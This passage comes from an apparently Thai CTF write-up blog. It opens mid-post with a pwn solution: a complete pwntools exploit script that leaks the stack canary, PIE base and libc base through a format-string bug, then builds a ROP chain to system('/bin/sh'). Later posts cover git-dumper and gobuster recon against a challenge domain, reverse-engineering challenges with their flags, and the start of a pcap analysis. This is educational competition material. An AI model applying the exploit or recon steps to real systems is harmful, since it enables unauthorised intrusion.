&lt;p&gt;(pie_leak คือ address ที่ได้จาก %27$p)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;🌟 received : pie_base&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;อีกอันนึงที่สำคัญคือการหาค่า libc base ซึ่งเราก็ต้องหาค่า libc_start_offset กันก่อน&lt;/p&gt;
&lt;p&gt;เริ่มจาก ผมจะใช้เครื่องมือ gdb ในการหา address ของ vault function&lt;/p&gt;
&lt;p&gt;เราต้องการ offset ของ printf ใน case2 เราก็ไล่หา text ที่มีคำว่า call &lt;a href=&quot;mailto:printf@plt&quot;&gt;printf@plt&lt;/a&gt; ซึ่งจาก .c printf ที่เราต้องการจะอยู่ลำดับที่ 2 จาก function vault&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:554/format:webp/1*jpjUlkYPXmVi47Vc-Zpk_Q.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:512/format:webp/1*M-4pw2fyLPuERFJlXvEImQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:938/format:webp/1*hcmygMYO1J6TujwU1tEClg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;0x00005555555554a7 &amp;lt;+314&amp;gt;: call 0x555555555100 &lt;a href=&quot;mailto:printf@plt&quot;&gt;printf@plt&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;และ offset ของมันคือ 314&lt;/p&gt;
&lt;p&gt;จากนั้นสร้าง breakpoint (still in gdb na)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) break *vault+314
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;(gdb) run
Starting program: /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc3000
[Thread debugging using libthread_db enabled]
Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.
========================================
   FORTRESS LEAK v4.0
   Hardened Message Vault
========================================
=== Secure Message Vault ===
[1] Store message
[2] Preview message
[3] Send message
[4] Exit
&amp;gt; 1
Enter message: AAAA
[+] Message stored.
[1] Store message
[2] Preview message
[3] Send message
[4] Exit
&amp;gt; 2
[*] Preview:
Breakpoint 1, 0x00005555555554a7 in vault ()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/gx $rsp + (31-6)*8
0x7fffffffdc78: 0x00007ffff7c2a1ca
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;(gdb) info symbol 0x00007ffff7c2a1ca
__libc_start_call_main + 122 in section .text of /lib/x86_64-linux-gnu/libc.so.6
(gdb) info proc mappings
process 16132
Mapped address spaces:
          Start Addr           End Addr       Size     Offset  Perms  objfile
      0x555555554000     0x555555555000     0x1000        0x0  r--p   /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
      0x555555555000     0x555555556000     0x1000     0x1000  r-xp   /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
      0x555555556000     0x555555557000     0x1000     0x2000  r--p   /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
      0x555555557000     0x555555558000     0x1000     0x2000  r--p   /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
      0x555555558000     0x555555559000     0x1000     0x3000  rw-p   /mnt/c/Users/thiss/Desktop/secplaygroundctf/Fortress Leak/dist/vuln
      0x7ffff7c00000     0x7ffff7c28000    0x28000        0x0  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7c28000     0x7ffff7db0000   0x188000    0x28000  r-xp   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7db0000     0x7ffff7dff000    0x4f000   0x1b0000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7dff000     0x7ffff7e03000     0x4000   0x1fe000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7e03000     0x7ffff7e05000     0x2000   0x202000  rw-p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7e05000     0x7ffff7e12000     0xd000        0x0  rw-p
      0x7ffff7fb1000     0x7ffff7fb4000     0x3000        0x0  rw-p
      0x7ffff7fbd000     0x7ffff7fbf000     0x2000        0x0  rw-p
      0x7ffff7fbf000     0x7ffff7fc3000     0x4000        0x0  r--p   [vvar]
      0x7ffff7fc3000     0x7ffff7fc5000     0x2000        0x0  r-xp   [vdso]
      0x7ffff7fc5000     0x7ffff7fc6000     0x1000        0x0  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7fc6000     0x7ffff7ff1000    0x2b000     0x1000  r-xp   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ff1000     0x7ffff7ffb000     0xa000    0x2c000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
--Type &amp;lt;RET&amp;gt; for more, q to quit, c to continue without paging--ๆ
      0x7ffff7ffb000     0x7ffff7ffd000     0x2000    0x36000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ffd000     0x7ffff7fff000     0x2000    0x38000  rw-p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0  rw-p   [stack]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;start address objfile ของ libc.so.6 คือ 0x7ffff7c00000&lt;/p&gt;
&lt;p&gt;จากนั้นเราจะเอา 0x7ffff7c2a1ca ลบกับ 0x7ffff7c00000&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -c &quot;print(hex(0x7ffff7c2a1ca - 0x7ffff7c00000))&quot;
# จะได้ 0x2a1ca 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally we got libc_start_offset = 0x2a1ca&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;และ libc base = libc leak address — libc_start_offset&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;🌟 received : libc_base&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;แต่เราก็มีสิ่งสำคัญอย่างนึง คือตำแหน่งของ /bin/sh และ system() ซึ่งเราจะหาจาก ./libc.so.6 ในเมื่อเรามี libc_base การหาของพวกนี้ก็ง่ายขึ้นเท่าตัว&lt;/p&gt;
&lt;p&gt;สามารถใช้ pwntool (python library) หาเองได้ หรือเราจะหาเองก็ได้เช่นกัน&lt;/p&gt;
&lt;p&gt;วิธีหาของ &lt;strong&gt;/bin/sh&lt;/strong&gt; ใช้คำสั่ง&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings -tx ./libc.so.6 | grep &quot;/bin/sh&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;result:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kira@LAPTOP-MUHREJKN:/Fortress Leak/dist$ strings -tx ./libc.so.6 | grep &quot;/bin/sh&quot;
 1cb42f /bin/sh
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;binsh = libc_base + 0x1cb42f&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;🌟 received : binsh offset&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;วิธีหาของ &lt;strong&gt;system&lt;/strong&gt; ใช้คำสั่ง&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;readelf -s ./libc.so.6 | grep &quot; system&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;result:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kira@LAPTOP-MUHREJKN:/Fortress Leak/dist$ readelf -s ./libc.so.6 | grep &quot; system&quot;
  1050: 0000000000058750    45 FUNC    WEAK   DEFAULT   17 system@@GLIBC_2.2.5
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;system = libc_base + 0x58750&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;🌟 received : system offset&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ถ้าเป็น python code ก็จะประมาณนี้ ง่ายกว่าเย๊อะะ&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;system_addr  = libc_base + libc.symbols[&quot;system&quot;]
binsh_addr   = libc_base + next(libc.search(b&quot;/bin/sh&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;เรามาสรุปวัตถุดิบของเรากันดีกว่า&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POP_RDI_RET = 0x12d2 
RET         = 0x12d3 
 
CANARY_OFFSET  = 25  
PIE_OFFSET     = 27   
LIBC_OFFSET    = 31  
pie_base  = pie_leak - 0x15b3 
libc_start_offset = 0x2a1ca 
libc_base = lib_leak - libc_start_offset
system_addr  = libc_base + 0x58750
binsh_addr   = libc_base + 0x1cb42f 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;สิ่งที่ต้องระวังคือ ระยะห่าง bytes โดยเราจะคำนวณจากระยะของ offset&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msg[0]  → canary     = 0x90 - 0x08 = 0x88 = 136 bytes
msg[0]  → saved rbp  = 0x90 + 0x00 = 0x90 = 144 bytes
msg[0]  → ret addr   = 0x90 + 0x08 = 0x98 = 152 bytes
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;ไม่รวม choice (int) 4 bytes นะครับ&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;และหน้าตา payload ของเราคร่าวๆจะได้ประมาณนี้&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# padding
payload  = b&quot;A&quot; * 0x88        # 136 bytes
# canary
payload += p64(canary)         # 8 bytes  = canary ที่ leak มา
# fake rbp  
payload += b&quot;B&quot; * 8            # 8 bytes  = fake saved rbp
# จุด ROP chain ของเรา
payload += p64(ret_gadget)     # 8 bytes  = stack alignment
payload += p64(pop_rdi)        # 8 bytes  = gadget
payload += p64(binsh_addr)     # 8 bytes  = &quot;/bin/sh&quot;
payload += p64(system_addr)    # 8 bytes  = system()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ตอนนี้เราก็พร้อม exploit กันแล้ว!!&lt;/h2&gt;
&lt;p&gt;ผมจะทิ้ง script สำหรับ exploit ให้&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
BINARY = &quot;./vuln&quot;
LIBC   = &quot;./libc.so.6&quot;
p = process(BINARY)
elf = ELF(BINARY, checksec=False)
context.arch = &apos;amd64&apos;
try:
    libc = ELF(LIBC, checksec=False)
except:
    libc = None
    warn(&quot;libc.so.6 not found — ต้อง set libc offset เอง&quot;)
 
POP_RDI_RET = 0x12d2 
RET         = 0x12d3 
 
CANARY_OFFSET  = 25  
PIE_OFFSET     = 27   
LIBC_OFFSET    = 31   
def do_leak():
    fmt = f&quot;%{CANARY_OFFSET}$p|%{PIE_OFFSET}$p|%{LIBC_OFFSET}$p&quot;
    p.sendlineafter(b&quot;&amp;gt; &quot;, str(1).encode())
    p.sendafter(b&quot;Enter message: &quot;, fmt.encode())
    p.sendlineafter(b&quot;&amp;gt; &quot;, str(2).encode())
    p.recvuntil(b&quot;[*] Preview:\n&quot;)
    
    raw = p.recvline().decode().strip()
    parts = raw.split(&quot;|&quot;)
    canary   = int(parts[0], 16)
    pie_leak = int(parts[1], 16)
    lib_leak = int(parts[2], 16)
 
    pie_base  = pie_leak - 0x15b3 
    libc_start_offset = 0x2a1ca 
    libc_base = lib_leak - libc_start_offset
    log.success(f&quot;Canary  : {hex(canary)}&quot;)
    log.success(f&quot;PIE     : {hex(pie_base)}&quot;)
    log.success(f&quot;libc    : {hex(libc_base)}&quot;)
    return canary, pie_base, libc_base
def do_exploit(canary, pie_base, libc_base):
   
    pop_rdi = pie_base  + POP_RDI_RET
    ret_gadget = pie_base + RET
    if libc:
        system_addr  = libc_base + libc.symbols[&quot;system&quot;]
        binsh_addr   = libc_base + next(libc.search(b&quot;/bin/sh&quot;))
        print(&quot;libc na&quot;)
    else: 
        system_addr  = libc_base + 0x58750 
        binsh_addr   = libc_base + 0x1cb42f 
        print(&quot;libc + hex&quot;)
    log.info(f&quot;system()   : {hex(system_addr)}&quot;)
    log.info(f&quot;/bin/sh    : {hex(binsh_addr)}&quot;)
    log.info(f&quot;pop rdi    : {hex(pop_rdi)}&quot;) 
    padding = b&quot;A&quot; * 0x88  
    fake_rbp = b&quot;B&quot; * 8
    rop = flat(
        ret_gadget, 
        pop_rdi,
        binsh_addr,
        system_addr,
    )
    payload = padding + p64(canary) + fake_rbp + rop
    p.sendlineafter(b&quot;&amp;gt; &quot;, str(3).encode())
    p.sendafter(b&quot;Enter final message: &quot;, payload)
    p.recvline()  # &quot;[+] Message sent!&quot;
if __name__ == &quot;__main__&quot;:
    
    canary, pie_base, libc_base = do_leak()
    print(f&quot;Canary: {hex(canary)}&quot;)
    print(f&quot;PIE: {hex(pie_base)}&quot;)
    print(f&quot;libc: {hex(libc_base)}&quot;)
    do_exploit(canary, pie_base, libc_base)
    p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;จากนั้นก็รัน exploit.py เลยย&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*mdJj4t-gcdZ5p7vBdJTIQg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เราก็จะได้ shell ในที่สุด!!!&lt;/p&gt;
&lt;p&gt;หากข้อมูลผิดหรือตกบกพร่องตรงไหนก็ขออภัยไว้ ณ ที่นี้ สามารถติหรือทิ้งความคิดเห็นได้นะครับ จะนำมาปรับปรุง&lt;/p&gt;
&lt;p&gt;นี่ก็เป็นการเขียนหมวด pwn จริงๆจังๆ ครั้งแรกในเหล่าบรรดา writeup ของผมเลย&lt;/p&gt;
&lt;p&gt;ก็ขอขอบคุณคนที่อ่านจนจบถึงจุดนี้ THANK YOUUUUU!!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:720/format:webp/1*KI0jTnUw03n4ue_u2yG2Ig.gif&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.facebook.com/hashtag/secplaygroundcybersplash2026?__cft__%5B0%5D=AZZh4POXCrSMtVnltg5x5veuQRoT1TNRcFrPVs4kp_ZKlNRGbJQlK-q6rLVK625FyQGF_SCgMmed4lqTZdkCk1ydQJ_eLU1Fv_XhbFNHPXubDPWlskhQ3WoykHuw5EQliRFb_RwP0KG-hXxXacETGl9jrbOw_8XrmEdCAUPK6gD4oJAR7FNYSXXEA4jcL9OukGA&amp;amp;__tn__=*NK-R&quot;&gt;#SECPlaygroundCybersplash2026&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>The Scammer CTF 2025</title><link>https://fuwari.vercel.app/posts/6thescammerctf/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/6thescammerctf/</guid><description>hello world วันนี้ผมจะมาแสดงวิธีทำโจทย์ต่างๆของ the scammer ctf</description><pubDate>Sun, 14 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;The Scammer CTF 2025&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;by ShoIsMyName • Dec 2025&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*FzNrrF00k35x2yoATQ0ebA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;hello world วันนี้ผมจะมาแสดงวิธีทำโจทย์ต่างๆของ the scammer ctf&lt;/p&gt;
&lt;p&gt;ไอจะเริ่มจาก Scenario3 กันก่อนนะ เริ่มจาก part แรก&lt;/p&gt;
&lt;h2&gt;Part1 — Suspicious Discord Login&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*H9M10BjRi3BWCT3s0OcW7A.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*6nvZuBFS3yVkdEa8z2hPgw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:748/format:webp/1*GYzoXojhjh0QEAql8ZwcXA.gif&quot; alt=&quot;นึกว่าจะมาไวละได้คะแนนเยอะ สุดท้ายคนทยอยตอบคะแนนถูกหาร&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Part2 — Data Leakage (1)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*lhOA53eTg9ul8UAhUTWqbQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เข้าไปที่ลิ้ง discord.system-login.co/.git/config&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*wmwN3AZ9BqB3TmLBGRWDzQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จะเจอ repo ของ demo336 -&amp;gt; github.com/demo336/not-a-discord.git&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*hCugm1iYM4rsubJGo7tcmQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เช็คอะไรใน source ไม่เจอ แต่เจอพี่ต้ะใน commits&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*pot8WZ8fkhdjDPZCKWymQg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag จะอยู่ใน commits ที่ 3,4&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*8i3YdncGRtZ89IwTHod2aw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*iYWcjIbg6tleeamY56TxWQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ภาพเล็กหน่อย เพราะอยากให้เห็นภาพรวม&lt;/p&gt;
&lt;h2&gt;Part3 — Data Leakage (2)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*p35VwNew9WoFqWhFJQOJSg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ข้อนี้ไอไม่ได้แคปไว้ แต่ไอแคนโชว์ยูฮาวทูดูนะ&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;git-dumper https://discord.system-login.co/.git/ somefolder&lt;/p&gt;
&lt;p&gt;cd /somefolder&lt;/p&gt;
&lt;p&gt;gitlog&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;จากนั้นก็ git show ตัว commit hash ไม่แน่ใจว่าอันไหน แต่ก็ลองๆไปดู เดะก็เจอเองไอสเวิร์ดทูเดอะก๊อท~&lt;/p&gt;
&lt;h2&gt;Part4 — Recon 101&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*Klsk2Gw60SQ5l3UDKCbuVA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*H_BsfwG_qVnWqO6qBOqpcg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;gobuster ดู subdomain ละเจอเด็ดๆอันนึง support.system-login.co 🤤&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*UE4ajwjPoFAMy_6yCFL6vw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Part5 — No More Cloudflare&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*op0rAa3bh3AWCSjHc34OAw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ตามเสตปข้อก่อน เจอ subdomain อันนึง ul-cat6506-gw.system-login.co&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*rfM9s8YpO0jINZ0j9kT9Ew.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ZyelREDfNZVBVa4U_-YovA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*JVwNO2HKUFV7eSaqm6j4eg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เย้ เย้ เย้ เย้ เย้ เย้ย้ย้ย้ย้ย้ยย้ย้ย&lt;/p&gt;
&lt;h2&gt;โด้นท์ฟอร์เก็ททูไลค์แอนด์ซับส์สไครบ์ แอนฮิทท์แด๊ดเบลว์ เลสซ์โก้วววววว!!!&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:526/format:webp/1*hrZHspJdZVoBEk7-l_zAkA.gif&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Reverse Engineering &amp; Pwnable | Thailand Cyber Top Talent 2025 junior [Qualifier]</title><link>https://fuwari.vercel.app/posts/5thctt2025-reverse/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/5thctt2025-reverse/</guid><description>CTF-Writeup THCTT 2025 junior [Qualifier] | Reverse Engineering &amp; Pwnable kub pom :)</description><pubDate>Tue, 02 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Reverse Engineering &amp;amp; Pwnable | Thailand Cyber Top Talent 2025 junior [Qualifier]&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;by ShoIsMyName • Sep 2025&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;你好，我叫 Sho。วันนี้จะมาแสดงวิธีทำโจทย์หมวด Reverse Engineering &amp;amp; Pwnable กันนะครับ โจทย์บางอันอาจใช้วิธีที่แตกต่างจากคนอื่น และเครื่องมือที่แตกต่างกัน ใครมีวิธีแบบไหนก็คอมเม้นไว้ได้เลย เดี๋ยวไปอ่าน เพราะทางนี้ก็อยากรู้เหมือนกัน555&lt;/p&gt;
&lt;h2&gt;1. very_ez_re ( 100 points )&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*9kG9vmrsziq-gtaZZct-5Q.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เริ่มจากลองรันโปรแกรมเพื่อดูการทำงานคร่าวๆ&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*v6UMRRv3ZV7hUqmW7sn2aQ.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;พูดตามตรงว่าผมไม่ได้ลงลึกใน source ของ ghidra เพราะมันเยอะและตาลายมากๆ เลยย้ายมาดูในไฟล์ .dll เพราะไฟล์ .dll เป็นที่เก็บรหัสและข้อมูลของโปรแกรม เราเลยสันนิษฐานว่าอาจมี flag ในนี้ก็เป็นได้!!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*KUkgcafMRs5pZsbROaDFGw.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;แล้วก็เจอจริงๆ ดูจากคำแรก “ P r e s s a n y k e y t o e x i t . . .” ก็มีให้เห็นในโปรแกรมเหมือนกันนี่หว่าาา ถ้าสังเกตบรรทัดที่ 3 ที่ highlight จะเห็นคำว่า “flag”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*lpEKAXOD_LLeLiryMkRS4Q.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เพื่อความสะดวก เราจะดูผ่าน command “strings” และใช้ option encoding 16-bit&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*v6LFJFM9CxgSWkYP8E-6wg.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;และขั้นตอนสุดท้ายก็คือ cyber chef ( cookingๆๆๆๆ 🧑‍🍳🍳 )&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Aj_ohf15D4hPjvxbJfmJmA.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;แล้วเราก็จะได้ flag สุกๆ! 🎉🎉🎉&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{351672a449c8f27eac1e5352afb8ecc1}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;2. medium_rare ( 200 points )&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*B9DaAQauz9ZztTFLx26YtA.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ก่อนอื่นเรามาดูการทำงานคร่าวๆกันก่อนตามเดิม&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*YBKplGe5KIytw-I5UkH2ng.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ดูเหมือนว่าโปรแกรมจะไม่รับ input อะไรเลย จึงพอจะมี 2 วิธีที่จะเอา flag คือ patch program หรือจะอ่านไฟล์ .dll เหมือนข้อ very_ez_re&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://media1.tenor.com/m/-QWKmyICTLcAAAAd/cuh-guh.gif&quot; style=&quot;width:100%&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;เอาไงดีว้า&lt;/p&gt;
&lt;p&gt;ด้วยเวลาอันน้อยนิด และนิดหน่อย คิดจะ patch มันทำไม strings ผ่าน .dll เล้ย!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*YQAeFhngsko2N7iKiGuEKQ.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ใส่แมวกันว่าง555555&lt;/p&gt;
&lt;p&gt;ตู้ม!! เจอเฉยยยย~ อ่ะฮิๆๆๆๆ ได้ flag ชิวเกินคาดด 🎉🎉🎉&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{0b58400010f01d7e0fb096a565b553ab}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*1NU4Mou72_AD4GHyQ5KiUQ.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Network Security | Thailand Cyber Top Talent 2025 junior [Qualifier]</title><link>https://fuwari.vercel.app/posts/4thctt2025-network/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/4thctt2025-network/</guid><description>CTF-Writeup THCTT 2025 junior [Qualifier] | Network Security kub pom :)</description><pubDate>Mon, 01 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Network Security | Thailand Cyber Top Talent 2025 Junior [Qualifier]&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;by ShoIsMyName • Sep 2025&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;หนีห่าว ว่อเจี้ยวโช วันนี้จะมาแสดงวิธีทำโจทย์ ของงาน cyber top talent 2025 หมวด network security กันนะครับ ส่วนหมวดอื่นๆผมจะคอยทยอยลงนะครับ พอดีช่วงนี้ติดเกม5555555555&lt;/p&gt;
&lt;h2&gt;1. Love Letter (100 points)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:640/format:webp/1*_uiC9un8tPxQpjyZhFO-Lw.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ไฟล์ที่เราได้มาจะมีไฟล์ .pcap มาหนึ่งไฟล์ โดยเราจะเริ่มดู log คร่าวๆกันก่อน
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*xfZUB40S1VEb-ot0fiHBqw.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จากที่เห็นก็ถือว่าไม่ได้เยอะอะไรมาก พอเลื่อนดู tcp udp stream ได้อยู่ แต่จุดที่เราสนใจจะอยู่ที่ &lt;code&gt;tcp.stream eq 4&lt;/code&gt; เพราะมีการ communicate กันระหว่าง &lt;strong&gt;MINECRAFT_CLIENT&lt;/strong&gt; กับ &lt;strong&gt;MINECRAFT_SERVER&lt;/strong&gt;
